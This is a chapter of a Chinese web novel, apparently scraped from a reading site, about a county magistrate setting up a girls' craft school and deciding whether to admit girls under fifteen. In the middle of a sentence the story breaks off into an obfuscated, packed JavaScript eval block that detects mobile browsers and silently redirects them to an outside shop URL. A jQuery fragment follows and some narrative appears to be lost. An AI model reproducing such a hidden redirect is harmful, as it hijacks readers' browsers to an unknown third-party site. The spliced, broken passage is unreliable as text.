44.学技艺可不是件松快事儿
    叶云昭接过孙宁递过来的茶水,仰头一口气送进肚里:“我瞧着你定能胜任,再者说了,当夫子和当师父其实没没什么两样嘛。”

    孙宁眉头带着淡淡的忧愁:“话是这么说不假,可……徒弟们学的是木工,我心中有数,让我去教她们编东西……叶县令,我心里没底。”

    叶云昭轻拍了两下她的臂膀,笑道:“你放心,不管出现何处情况,万事有我呐。”

    叶云昭言语间尽显十足的把握,事已至此,若是孙宁再推辞,反倒显得自己也忒没有魄力。

    她仔细瞧着和自己面对面的叶县令,眉目如画,整个人洋溢着欢喜,二人第一次见面,她就敢将三脚耧车的事儿交给自己。孙宁轻叹一声,发自心底笑道:

    “好,我相信你。”

    解决了叶云昭心头的一件大事,回县衙的路上兴奋得不得了,恨不得此时此刻便挨家挨户将适龄的姑娘搜罗出来。

    她笑着往县衙走,在县衙没等到她的王大娘和冬柏娘往西乡走,这一回,三人总算碰了个照面。

    “啊呀!叶县令!你怎地在这儿?我们在县衙等了大半个时辰呐!”

    王大娘眼神极好,大老远便认出来叶云昭,一边高呼一边往她身边跑去。

    如今秋播基本上已经结束,各家各户要么是收拾收拾自家的小菜田,要么是起个大早往山里去摘最后一波小蘑菇。

    叶云昭看着刚刚在自己面前站定的王大娘,不知所措道:“王大娘,怎地?你去县衙找我了?”

    王大娘气喘吁吁道:“可……可不是……”

    她又道:“不……不是我……还有……”

    说着指了指身后快步走着的冬柏娘。

    叶云昭见她喘得厉害,帮伸手轻抚她胸前,笑道:“不用急,有事慢慢说。”

    待冬柏娘赶到二人面前后,叶云昭才问:“你二人寻我何事?”

    方才已经不怎么喘息的王大娘听了她的话,连忙抬手在自己胸前拍了几下,边顺气边遗憾道:

    “我……我方才好像跑得太急……冬柏娘……要不还是……还是你给叶县令说罢。”

    王大娘偷偷抬眼看了一眼满脸狐疑的叶县令,又哀叹几声,总之,她才不愿做那个开口的人。

    冬柏娘看不懂她心里的小九九,看了看路旁大树下的大青石,极为关切道:“叶县令,要不先将王大娘扶到树下休息休息?”

    叶云昭点点头,二人搀着王大娘往树下走。

    她方一坐下,便提醒道:“冬柏娘,你不是有话要跟叶县令说么?”

    刚一说完,想起自己此时应该是不大舒服的,急忙找补道:“坐在这儿还真是好多了。”

    冬柏娘见她面色比刚才好些,才朝着叶云昭开口:“叶县令,县学是只收及笄的姑娘么?”

    大齐的女子十五岁可行及笄礼,大户人家的及笄礼复杂繁琐得很,但在陵南县的寻常百姓家中,只待女子十五岁那日,起床后给家中长辈磕个头,母亲用木簪将散落的发丝簪起来,便算是成了。

    未行及笄礼的女子往往被旁人称为丫头,行了及笄礼,便成了姑娘,一是意为成年,二是先前各家中意的,可以上门求娶了。

    十五岁,在她先前所处的时代,不过是不懂事的初中生,可大齐孩童早熟,十五岁便可嫁人了。叶云昭只收及笄的姑娘也是因着这个,她想让姑娘们学个技艺,赚些体己钱,往后的日子也能好过些。

    若是因着在县学,将成婚之事再往后推上几年,那是再好不过的了。

    叶云昭仔细琢磨打算的事情无人知晓,她也不想告知旁人。

    冬柏娘见她不说话:“叶县令,我家冬柏如今已经十岁了,虽说还未及笄,但懂事得很,若是入了县学,定然不会给你添麻烦的。”

    叶云昭犹豫片刻,委婉道:“我晓得冬柏是个好孩子,只是学技艺与读书识字不同,不是一般的累人,冬柏娘……”

    她话未说完,但冬柏娘却明白了,是啊,她家冬柏自幼瘦弱,还是娘胎里带的弱症。先前她对冬柏去县学的事很是上心,如今听叶云昭这么一说,她也犹豫起来。

    她只有这一个孩子,自然是处处担忧。

    一旁的王大娘眼看着冬柏娘不出声,一下子便急了,猛地从大青石上窜起来,拉着她的手,急切道:

    “虽说是累一些,但日后等冬柏大些也算是有个糊口的手艺,再者说了,我瞧着冬柏身子已大好了,你是时候松松手了。”

    冬柏娘搓了搓衣角,深觉二人说的都有道理。正如王大娘所说,虽然眼下累些,总好过等她与丈夫撒手人寰之后再辛苦讨生活。

    她踌躇半晌,一旁的王大娘又急又气。

    叶云昭侧头问道:“王大娘气顺了么?冬柏的事你怎地这么上心?”

    王大娘此刻还有什么可装的,幽怨地撇了冬柏娘一眼:“再顺的气也要给我搅乱了!”

    “叶县令,冬柏那孩子我见过,聪慧可爱,哪有她说的那么瘦弱,不若你亲自去瞧瞧?”

    冬柏娘眼睛一亮,痴痴地望着叶云昭。

    叶云昭叹了口气,她理解冬柏娘的所作所为,她将将四十的时候才有了冬柏,如今冬柏十岁,她已然快要半百,比她大了两三岁的王大娘儿孙绕膝都有七八年了,也怪不得冬柏娘担忧。

    于是乎,犹豫道:“那……我去瞧瞧……”

    见叶云昭松了口,王大娘忙不迭开口:“叶县令,不瞒你说,我家二丫你见过的,虽不过七八岁,但行事妥帖,不如顺路一同去看看?”

    叶云昭道:“这……冬柏是因为身子娇弱,干不了重活,再加上冬柏娘也不甚健壮,我才说去瞧瞧,二丫康健、来旺兄弟正值壮年,芳娘还在城中当绣娘,这又有什么必须得去瞧瞧的道理?”

    她言之凿凿,王大娘反倒不知如何说起,她原想着让冬柏娘和自己一道壮壮胆,难不成最后要落个她成,自己不成的结果?!

    王大娘面露难色,叶云昭

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151245|146749||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    又道:“若是我再收了二丫,那旁的未及笄的丫头要来,我该如何是好?”

    叶云昭见不再开口,便推辞道:“冬柏娘、王大娘,我绝不夸大,学技艺当真辛苦,她们毕竟年纪太小。你们二人不如回家再好好思考几日,同家人商量一二,等过几日我落了闲,再登门拜访。”

    “县衙还有事情,我先走了。”

    “诶……”王大娘看着叶云昭愈行愈远的身影,叹了口气,看了看一旁低头沉思的冬柏娘,又叹了口气,摆了摆衣袖便往西乡走了。

    *

    叶云昭没有直接往县衙拐,而是进了县学,昔日县学附近来往的人并不算多,不知是不是因为重办女子县学的消息,她觉着这几日怎地怎么多来来往往的挑担百姓。

    她上一回还没打扫完,就有人闹事,本想着今日抓紧时间清扫一番,可没曾想,刘麻子同庄雪正在院子里清扫,二人身旁站着不大点的小春花。

    叶云昭看着她们手上拿着的鸡毛掸子和扫帚,愣道:“你们……”

    没等她说完,从书屋里走出来一个叶云昭意想不到的人——黎羡江。

    只见他便往外走边说:“我在书屋四角撒了一些药粉,省得到时候有蚊虫蛇鼠……”

    他抬眼看到了叶云昭:“叶县令你怎么来了?”

    未给叶云昭说话的时机,黎羡江身后又有个灰头土脸的人从书屋里钻出来,手持鸡毛掸子,蜘网灰尘落了一身,边咳边气道:

    “公子!这些活儿哪是你干的,快快放下……咳咳……要我说咱们干甚要来……咳咳……”

    “绿衣?”叶云昭一愣。

    若是说刘麻子和庄雪来打扫县学,她倒是不惊讶。叶云昭先前派刘麻子往县学搬过东西,他闲下来时没少来;庄雪跟着她学了水晶糕,又心细如发,若是知晓清扫县学的时间紧一定会来。

    黎羡江又是个极其温和的人,虽说手上没什么力气,准备的药粉也是极好的;至于他的小厮绿衣,叶云昭属实是没想到,因为此人说话一向直接,对她还算客气,对刘衙役从未有过好脸色,今日二人却一同出现,想必是黎羡江的命令,他不得不来。

    不过,不管如何,叶云昭都诚心道:“谢谢你们来帮忙。”

    人多力量大,原本一个人要做两个时辰的活儿,五六个人不到一个时辰便忙完了。

    叶云昭看着整洁明亮的两间书屋,由衷地笑了,她犹豫片刻,问道:“有件事我想听听你们的意见。”

    刘麻子不好意思挠了挠头:“叶县令你做决定就是,你问我,我怕是也说不出什么……”

    另一侧的绿衣嗤之以鼻道:“哼,又不是说你随便说两句话叶县令便会采纳……”

    黎羡江道:“绿衣,不可无礼。”

    庄雪见他们二人又要掐起来,急忙笑道:“叶县令有什么事你直说就是,若是我能帮上一定帮。”

    “你们觉着县学是只收及笄的姑娘合适?还是丫头姑娘都收合适?”